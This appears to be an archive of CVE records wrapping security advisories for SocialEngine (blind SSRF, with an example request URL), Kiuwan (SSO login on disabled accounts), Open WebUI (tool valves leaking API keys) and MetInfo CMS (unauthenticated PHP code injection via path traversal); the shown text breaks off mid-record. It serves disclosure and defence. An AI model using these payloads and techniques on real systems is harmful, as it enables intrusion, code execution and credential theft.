Vulnerability Disclosure Archive

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "SocialEngine",
          "vendor": "Socialengine",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Egidio Romano"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "---------------------------------------------------------------------\nSocialEngine \u003c= 7.8.0 Blind Server-Side Request Forgery Vulnerability\n---------------------------------------------------------------------\n\n\n[-] Software Link:\n\nhttps://socialengine.com\n\n\n[-] Affected Versions:\n\nVersions 7.8.0, 7.7.0, and likely prior versions.\n\n\n[-] Vulnerability Description:\n\nUser input passed through the \"uri\" request parameter to the\n/core/link/preview endpoint is not properly sanitized before being\nused as URL to send an HTTP request from the web server. This can be\nexploited by remote, authenticated attackers to carry out blind\nServer-Side Request Forgery (SSRF) attacks by using URLs like the\nfollowing:\n\nhttps://[socialengine]/core/link/preview/format/json?uri=http://localhost:3306/\n\n\n[-] Solution:\n\nNo official solution is currently available.\n\n\n[-] Disclosure Timeline:\n\n[02/02/2026] - Vulnerability confirmed on version 7.7.0\n\n[02/02/2026] - Vendor notified\n\n[09/02/2026] - Vendor response stating \"We are currently validating\nyour report... If this issue is confirmed, we will prioritize\nappropriate fixes and include them in an upcoming update.\"\n\n[27/02/2026] - Vendor released version 7.8.0, but the vulnerability is\nstill not fixed\n\n[02/03/2026] - Vendor contacted again\n\n[09/03/2026] - Vendor response stating \"We will check and update you.\"\n\n[23/03/2026] - Vendor notified about 60-day disclosure deadline policy\n\n[25/03/2026] - Vendor response stating \"Regarding this issue, we were\nunable to fully understand the concern. Could you please provide more\ndetailed information or steps to reproduce the issue?\"\n\n[25/03/2026] - Vendor was provided with more details and guidance on\nhow to fix the vulnerability\n\n[03/04/2026] - Reached 60-day disclosure deadline, still no official solution\n\n[21/04/2026] - CVE identifier requested\n\n[22/04/2026] - CVE identifier assigned\n\n[23/04/2026] - Public disclosure\n\n\n[-] CVE Reference:\n\nCVE-2026-41461 has been assigned to this vulnerability.\n\n\n[-] Credits:\n\nVulnerability discovered by Egidio Romano.\n\n\n[-] Original Advisory:\n\nhttps://karmainsecurity.com/KIS-2026-07\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T13:49:46Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Apr/11"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Apr/11"
        },
        {
          "url": "https://karmainsecurity.com/KIS-2026-07"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://socialengine.com"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Apr/11"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[KIS-2026-07] SocialEngine \u003c= 7.8.0 Blind Server-Side Request Forgery Vulnerability",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2026-41461",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0244",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Apr/11",
            "automated": true,
            "contentSha256": "2ec2001fc1bcc516d5b8c81a4f46f07021ff7053b61ba8aa645d6842b66b7138",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Apr/11",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-04-23T09:14:07Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0244"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T08:13:41Z",
    "dateUpdated": "2026-09-09T13:49:46Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0244"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "SEC Consult SA-20260414-0",
          "vendor": "Kiuwan",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "SEC Consult Vulnerability Lab via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20260414-0 \u003e\n=======================================================================\n              title: Improper Enforcement of Locked Accounts in WebUI (SSO)\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 product: Kiuwan SAST on-premise (KOP) \u0026 cloud/SaaS\n\u00a0vulnerable version: \u003c2.8.2509.4\n\u00a0 \u00a0 \u00a0 fixed version: 2.8.2509.4\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0CVE number: CVE-2026-24069\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0impact: medium\n           homepage:https://www.kiuwan.com/\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 found: 2025-03-31\n                 by: Bernhard Gr\u00fcndling (Office Vienna)\n                     Fabian W\u00fcrfl (Office Vienna)\n                     Johannes Greil (Office Vienna)\n                     SEC Consult Vulnerability Lab\n\n                     An integrated part of SEC Consult, an Atos business\n                     Europe | Asia\n\n                     https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"Thorough code inspection is essential for designing secure software products.\nWhile your development team may not have time to comb through every line of code,\nKiuwan does. For 20 years, it has been the choice of developers to scan code\nautomatically and remediate defects according to security standards like OWASP,\nCWE, SANS, and CERT.\n\nStatic application security testing (SAST) scans for security flaws in the source\ncode without running the program. It is a white-box testing method that is the\ncounterpart to dynamic application software testing (DAST), which tests web applications\nfor run-time vulnerabilities. [...]\"\n\nSource:https://www.kiuwan.com/code-security-sast/\n\n\nBusiness recommendation:\n------------------------\nThe vendor provides a patch which should be installed immediately.\n\nSEC Consult highly recommends to perform a thorough security review of the product\nconducted by security professionals to identify and resolve potential further\nsecurity issues.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) Improper Enforcement of Locked Accounts in WebUI (SSO) (CVE-2026-24069)\nKiuwan offers the possibility to enable single sign-on (SSO) for authentication,\ne.g. through Microsoft ADFS or Azure to authenticate against an active directory.\nIt needs to map the AD user accounts with locally configured accounts for\nauthorization purposes, e.g. to configure the roles and access to applications.\nSSO users have the local logon disabled and there is no password set, authentication\nonly works via SSO then.\n\nIt was found out that the user is still able to login at the Kiuwan WebUI via SSO,\neven if the Kiuwan mapped account has been disabled in the user settings by an admin.\nThe login does not work in the scanner agent (KLA - Kiuwan Local Analyzer) though.\nThere the authorization check seems to be verifying the validity of the account first\nand throws the error message \"Failed to authenticate using Single sign-on\".\n\n\nProof of concept:\n-----------------\n1) Improper Enforcement of Locked Accounts in WebUI (SSO) (CVE-2026-24069)\nNo specific PoC is necessary. An SSO login is possible even after disabling\nthe Kiuwan mapped user account in the Kiuwan user admin settings.\nSteps to reproduce:\na) Disable user in Kiuwan user settings\nb) Authenticate via SSO, e.g. through Microsoft ADFS\nc) Login is possible in the Kiuwan WebUI\n\n\nVulnerable / tested versions:\n-----------------------------\nThe following version has been tested which was the latest version available\nat the time of the test:\n* 2.8.2412.0\n\n\nVendor contact timeline:\n------------------------\n2025-04-02: Contacting vendor through official Kiuwan ticket system\n            (https://kiuwan.zendesk.com)\n            Kiuwan support responds that they will take a look into\n            our submission. Support sends us a few details regarding\n            SSO authentication.\n2025-04-03: Informing the vendor that we know how SSO auth in Kiuwan\n            works and our vulnerability exploits the improper enforcement\n            of locked accounts.\n2025-04-15: Vendor informs us that the issue has been escalated to R\u0026D.\n2025-07-29: Vendor has resolved the issue in the latest Kiuwan Cloud release.\n2025-07-29: Asking the vendor regarding the fix for Kiuwan On-Premise.\n            Vendor responds that it is currently being tested for KOP and\n            they will inform us.\n2025-11-03: Asking for a status update as we were not informed yet.\n2025-11-10: Support team responds that KOP release is expected within the\n            next couple of weeks.\n2025-11-24: Issue has been resolved in the latest KOP release.\n2025-11-28: Informing vendor that we cannot upgrade/verify the KOP release yet,\n            scheduled for 2026.\n2026-04-14: Public release of advisory.\n\n\nSolution:\n---------\nThe security issue has been fixed by the vendor on 29th July 2025 for the\nKiuwan Cloud solution.\n\nThe vendor provides a patch for the Kiuwan On-Premises version 2.8.2509.4\nwhich can be downloaded from the vendor\u0027s installation page:\nhttps://support.kiuwan.com/hc/en-us/articles/36356787260433-Kiuwan-On-Premises-Distributed-Installation-Guide\n\n\nWorkaround:\n-----------\nNone\n\n\nAdvisory URL:\n-------------\nhttps://sec-consult.com/vulnerability-lab/\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSEC Consult Vulnerability Lab\nAn integrated part of SEC Consult, an Atos business\nEurope | Asia\n\nAbout SEC Consult Vulnerability Lab\nThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an\nAtos business. It ensures the continued knowledge gain of SEC Consult in the\nfield of network and application security to stay ahead of the attacker. The\nSEC Consult Vulnerability Lab supports high-quality penetration testing and\nthe evaluation of new offensive and defensive technologies for our customers.\nHence our customers obtain the most current information about vulnerabilities\nand valid recommendation about the risk profile of new technologies.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nInterested to work with the experts of SEC Consult?\nSend us your applicationhttps://sec-consult.com/career/\n\nInterested in improving your cyber security with the experts of SEC Consult?\nContact our local officeshttps://sec-consult.com/contact/\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nMail: security-research at sec-consult dot com\nWeb:https://www.sec-consult.com\nBlog:https://blog.sec-consult.com\nX:https://x.com/sec_consult\n\nEOF Bernhard Gr\u00fcndling, Johannes Greil, Fabian W\u00fcrfl / @2026\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T13:49:25Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Apr/5"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Apr/5"
        },
        {
          "url": "https://blog.sec-consult.com"
        },
        {
          "url": "https://kiuwan.zendesk.com"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://sec-consult.com/career/"
        },
        {
          "url": "https://sec-consult.com/contact/"
        },
        {
          "url": "https://sec-consult.com/vulnerability-lab/"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://support.kiuwan.com/hc/en-us/articles/36356787260433-Kiuwan-On-Premises-Distributed-Installation-Guide"
        },
        {
          "url": "https://www.kiuwan.com/"
        },
        {
          "url": "https://www.kiuwan.com/code-security-sast/"
        },
        {
          "url": "https://www.sec-consult.com"
        },
        {
          "url": "https://x.com/sec_consult"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Apr/5"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "SEC Consult SA-20260414-0 :: Improper Enforcement of Locked Accounts in WebUI (SSO) in Kiuwan SAST on-premise (KOP) \u0026 cloud/SaaS",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2026-24069",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0254",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Apr/5",
            "automated": true,
            "contentSha256": "5bf6b21d2b94d49aa57521ba89c0abb15924a55d944633bb6283d7b3ce30451d",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Apr/5",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-04-14T10:31:18Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0254"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T08:13:42Z",
    "dateUpdated": "2026-09-09T13:49:25Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0254"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "SEC Consult SA-20260401-0",
          "vendor": "open-webui",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "SEC Consult Vulnerability Lab via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20260401-0 \u003e\n=======================================================================\n              title: Broken Access Control\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 product: Open WebUI\n\u00a0vulnerable version: \u003cv0.8.11\n\u00a0 \u00a0 \u00a0 fixed version: v0.8.11\n         CVE number: CVE-2026-34222\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0impact: high\n           homepage:https://openwebui.com\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 found: 2026-02-06\n                 by: Timo M\u00fcller (Office Munich)\n                     SEC Consult Vulnerability Lab\n\n                     An integrated part of SEC Consult, an Atos business\n                     Europe | Asia\n\n                     https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"The self-hosted AI interface.\nOpen WebUI is the platform for running AI on your own terms.\nConnect to any model\u2014local or cloud. Extend with Python.\nShare what you build with 331K others. 270 million downloads and growing.\"\n\nSource:https://openwebui.com/\n\n\nBusiness recommendation:\n------------------------\nThe vendor provides a patch which should be installed immediately.\n\nSEC Consult highly recommends to perform a thorough security review of the product\nconducted by security professionals to identify and resolve potential further\nsecurity issues.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) Broken Access Control in Tool Valves (CVE-2026-34222)\nOpen WebUI supports function calling through \"Tools\". Function calling allows\nan LLM to reliably connect to external tools and interact with external APIs.\nExemplary use-cases include connecting to an internal knowledge base,\nretrieving emails from an exchange server, or retrieving order data from a\nshop backend.\n\nThese interactions often require the LLM to authenticate against backend\nservices using API keys specifically created for a technical (Open WebUI)\nuser.\n\nTo simplify configuration and secret handling, Open WebUI implements\n\"Valves\" and \"UserValves\" that allow users and administrators to input\ndynamic details like API keys or configuration options.\n\nValves have the following distinction:\n* Valves: Configurable by admins only.\n* UserValves: Configurable by any user.\n\nThe Tool Valves endpoint does not properly restrict read access to the\nvalve. This allows a low privileged user to access all data contained\nwithin the valve. In the worst case, this gives a low privileged\n\"Member\" user access to sensitive Tool data, such as API keys for\nthird-party systems.\n\n\nProof of concept:\n-----------------\n1) Broken Access Control in Tool Valves (CVE-2026-34222)\nThe following steps can be performed to reproduce the vulnerability.\n\n1. An administrator creates an Open WebUI Tool with a configured Valve.\n   \u003c10_create_tool.png\u003e\n2. The administrator configures the API key within the Tool Valve.\n   \u003c20_valves.png\u003e\n3. A user with at least \"Member\" privileges logs into Open WebUI.\n\nThe following screenshot shows the user overview of the test instance:\n\u003c30_user_admin.png\u003e\n\nThe following screenshot illustrates that the \"lowpriv\" user\ndoesn\u0027t have access to the tool:\n\u003c35_lowpriv.png\u003e\n\n4. The \"lowpriv\" user uses their Authorization token to retrieve the\nAPI key from the Tool Valve.\n\nIn order to do so, the attacker needs to know the Tool ID. However, as\nthis ID is always the same for imported tools, and the tool IDs are\nconcatenated from the tool name, guessing tool IDs is trivial.\n\u003c50_get_valve.png\u003e\n\n\nAs seen in the following code snippet, the vulnerability is present because\nthe Tool Valves route does not check if the requesting user\nhas administrative permissions.\n\nCode \nsource:https://github.com/open-webui/open-webui/blob/2b26355002064228e9b671339f8f3fb9d1fafa73/backend/open_webui/routers/tools.py#L513-L531\n\n```\n@router.get(\"/id/{id}/valves\", response_model=Optional[dict])\nasync def get_tools_valves_by_id(\n    id: str, user=Depends(get_verified_user), db: Session = Depends(get_session)\n):\n    tools = Tools.get_tool_by_id(id, db=db)\n    if tools:\n        try:\n            valves = Tools.get_tool_valves_by_id(id, db=db)\n            return valves\n[...]\n)\n```\n\nVulnerable / tested versions:\n-----------------------------\nThe following version has been tested which was the latest version available\nat the time of the test:\n* v0.7.2\n\nAll versions below the fixed version v0.8.11 are affected.\n\nVendor contact timeline:\n------------------------\n2026-02-11: Contacting vendor through the Open WebUI GitHub security\n            advisories page (github.com/open-webui/open-webui/security/advisories/GHSA-7429-hxcv-268m)\n2026-02-11: GitHub security advisory was closed by the maintainer with the\n            reasoning \"Tools perm should NOT be given to an untrusted party.\"\n2026-02-11: Closure of the advisory was contested by submitting additional proof\n2026-02-18: Additional reminder to the vendor that we will disclose this issue.\n2026-03-18: Additional reminder to the vendor that we will disclose this issue.\n2026-03-24: Vendor re-evaluates the submitted advisory, requests additional details,\n            and requests a validation of this issue on the development branch.\n2026-03-24: Provided the additional details and confirmed that the issue is patched\n            on the development branch.\n2026-03-24: Vendor re-opens and confirms the submitted  advisory.\n2026-03-27: Vendor confirms the CVSS score and requests a CVE through GitHub.\n2026-03-27: GitHub has issued CVE-2026-34222 for this vulnerability.\n2026-04-01: Vendor advisory published, SEC Consult release of advisory as well.\n\n\nSolution:\n---------\nThe vendor provides a patched version v0.8.11 which can be downloaded from their website:\nhttps://github.com/open-webui/open-webui/releases\n\nFix commit:https://github.com/open-webui/open-webui/commit/f949d17db1e62e0b79aecbbcbcabe3d57d8d4af6\n\nThe vendor has also published the security report / advisory here:\nhttps://github.com/open-webui/open-webui/security/advisories/GHSA-7429-hxcv-268m\n\n\nWorkaround:\n-----------\nNone\n\n\nAdvisory URL:\n-------------\nhttps://sec-consult.com/vulnerability-lab/\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSEC Consult Vulnerability Lab\nAn integrated part of SEC Consult, an Atos business\nEurope | Asia\n\nAbout SEC Consult Vulnerability Lab\nThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an\nAtos business. It ensures the continued knowledge gain of SEC Consult in the\nfield of network and application security to stay ahead of the attacker. The\nSEC Consult Vulnerability Lab supports high-quality penetration testing and\nthe evaluation of new offensive and defensive technologies for our customers.\nHence our customers obtain the most current information about vulnerabilities\nand valid recommendation about the risk profile of new technologies.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nInterested to work with the experts of SEC Consult?\nSend us your applicationhttps://sec-consult.com/career/\n\nInterested in improving your cyber security with the experts of SEC Consult?\nContact our local officeshttps://sec-consult.com/contact/\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nMail: security-research at sec-consult dot com\nWeb:https://www.sec-consult.com\nBlog:http://blog.sec-consult.com\nX:https://x.com/sec_consult\n\nEOF Timo M\u00fcller / @2026\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T13:49:20Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Apr/4"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Apr/4"
        },
        {
          "url": "http://blog.sec-consult.com"
        },
        {
          "url": "https://github.com/open-webui/open-webui/blob/2b26355002064228e9b671339f8f3fb9d1fafa73/backend/open_webui/routers/tools.py#L513-L531"
        },
        {
          "url": "https://github.com/open-webui/open-webui/commit/f949d17db1e62e0b79aecbbcbcabe3d57d8d4af6"
        },
        {
          "url": "https://github.com/open-webui/open-webui/releases"
        },
        {
          "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-7429-hxcv-268m"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://openwebui.com"
        },
        {
          "url": "https://openwebui.com/"
        },
        {
          "url": "https://sec-consult.com/career/"
        },
        {
          "url": "https://sec-consult.com/contact/"
        },
        {
          "url": "https://sec-consult.com/vulnerability-lab/"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.sec-consult.com"
        },
        {
          "url": "https://x.com/sec_consult"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Apr/4"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "SEC Consult SA-20260401-0 :: Broken Access Control in Open WebUI",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2026-34222",
              "type": "related"
            },
            {
              "destId": "GHSA-7429-HXCV-268M",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0273",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Apr/4",
            "automated": true,
            "contentSha256": "b2be6ddec114650ae4b098be41d0e6356384de00fddf1cb618a6da830ebcf4aa",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Apr/4",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-04-01T10:54:01Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0273"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T08:13:43Z",
    "dateUpdated": "2026-09-09T13:49:20Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0273"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "MetInfo CMS",
          "vendor": "Metinfo Cms",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Egidio Romano"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "---------------------------------------------------------------------------\nMetInfo CMS \u003c= 8.1 (weixinreply.class.php) PHP Code Injection Vulnerability\n---------------------------------------------------------------------------\n\n\n[-] Software Link:\n\nhttps://www.metinfo.cn\n\n\n[-] Affected Versions:\n\nVersions 7.9, 8.0, and 8.1.\n\n\n[-] Vulnerability Description:\n\nThe vulnerable code is located into the\n/app/system/weixin/include/class/weixinreply.class.php script.\n\nSpecifically, within the weixinreply::wxAdminLogin() method:\n\n149.     public function wxAdminLogin($data = array(),$code = \u0027\u0027)\n150.     {\n151.         global $_M;\n152.         $weixinapi = load::mod_class(\u0027weixin/weixinapi\u0027,\u0027new\u0027);\n153.         $login_code = cache::get(\"weixin/\".$code);\n154.          if ($login_code) {\n155.             cache::put(\"weixin/\".$login_code,$data[\u0027FromUserName\u0027]);\n156.          }\n157.         return;\n158.     }\n\nUser input passed through the \"EventKey\" and \"FromUserName\" XML tags\nfrom the HTTP request body when dispatching weixin API requests is not\nproperly sanitized before being used in a call to the cache::get() and\ncache::put() methods respectively.\n\nSpecifically, the $code parameter may include Path Traversal\nsequences, making the cache::get() method into including arbitrary PHP\nfiles. This can be abused to set the $login_code variable to the\n\"Array\" string by including an arbitrary cache file. Subsequently, the\ncache::put() method will write the \"FromUserName\" parameter into the\n/cache/weixin/Array.php file, embedding it within double quotes:\n\n30.     public static function put($file, $data, $type = \u0027php\u0027)\n31.     {\n32.         global $_M;\n33.\n34.         load::sys_func(\u0027file\u0027);\n35.         $save = PATH_CACHE . $file . \u0027.\u0027 . $type;\n36.         makefile($save);\n37.         #$data = str_replace(array(\"\\\"\", \"\\\\\"), array(\"\\\\\\\"\",\n\"\\\\\\\\\"), $data);\n38.         if (!is_array($data)) {\n39.             file_put_contents($save, \"\u003c?php\\ndefined(\u0027IN_MET\u0027) or\nexit(\u0027No permission\u0027);\\n\\$cache=\\\"{$data}\\\";\\n?\u003e\");\n40.         } else {\n41.             $info = var_export($data, true);\n42.             $info = \"\u003c?php\\ndefined(\u0027IN_MET\u0027) or exit(\u0027No\npermission\u0027);\\n\\$cache = {$info};\\n?\u003e\";\n43.             file_put_contents($save, $info);\n44.         }\n45.     }\n\nThis can be exploited by remote, unauthenticated attackers to inject\nand execute arbitrary PHP code by abusing PHP\u0027s complex curly syntax,\nleading to unauthenticated Remote Code Execution (RCE).\n\nNOTE: when MetInfo is running on non-Windows servers, successful\nexploitation of this vulnerability requires the /cache/weixin/\ndirectory to exist, which is created when installing and configuring\nthe official WeChat plugin.\n\n\n[-] Proof of Concept:\n\nhttps://karmainsecurity.com/pocs/CVE-2026-29014.php\n\n\n[-] Solution:\n\nNo official solution is currently available.\n\n\n[-] Disclosure Timeline:\n\n[26/02/2026] - Vendor contacted through several @metinfo.cn and\n@mituo.cn email addresses, no response\n\n[07/03/2026] - Tried to reach out to the vendor again, no response\n\n[28/03/2026] - Tried to reach out to the vendor once again, no response\n\n[29/03/2026] - Tried to reach out to the vendor through Weibo, no response\n\n[30/03/2026] - CVE identifier requested\n\n[31/03/2026] - CVE identifier assigned\n\n[01/04/2026] - Public disclosure\n\n\n[-] CVE Reference:\n\nCVE-2026-29014 has been assigned to this vulnerability.\n\n\n[-] Credits:\n\nVulnerability discovered by Egidio Romano.\n\n\n[-] Original Advisory:\n\nhttps://karmainsecurity.com/KIS-2026-06\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T13:49:04Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Apr/1"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Apr/1"
        },
        {
          "url": "https://karmainsecurity.com/KIS-2026-06"
        },
        {
          "url": "https://karmainsecurity.com/pocs/CVE-2026-29014.php"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.metinfo.cn"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Apr/1"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[KIS-2026-06] MetInfo CMS \u003c= 8.1 (weixinreply.class.php) PHP Code Injection Vulnerability",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2026-29014",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0274",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Apr/1",
            "automated": true,
            "contentSha256": "060cffe051aa712afbc32aa96184935f3daa78c6cba712cdcfd82405fa2e66e3",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Apr/1",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-04-01T11:54:41Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0274"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T08:13:43Z",
    "dateUpdated": "2026-09-09T13:49:04Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0274"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "MongoDB",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Ron E"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
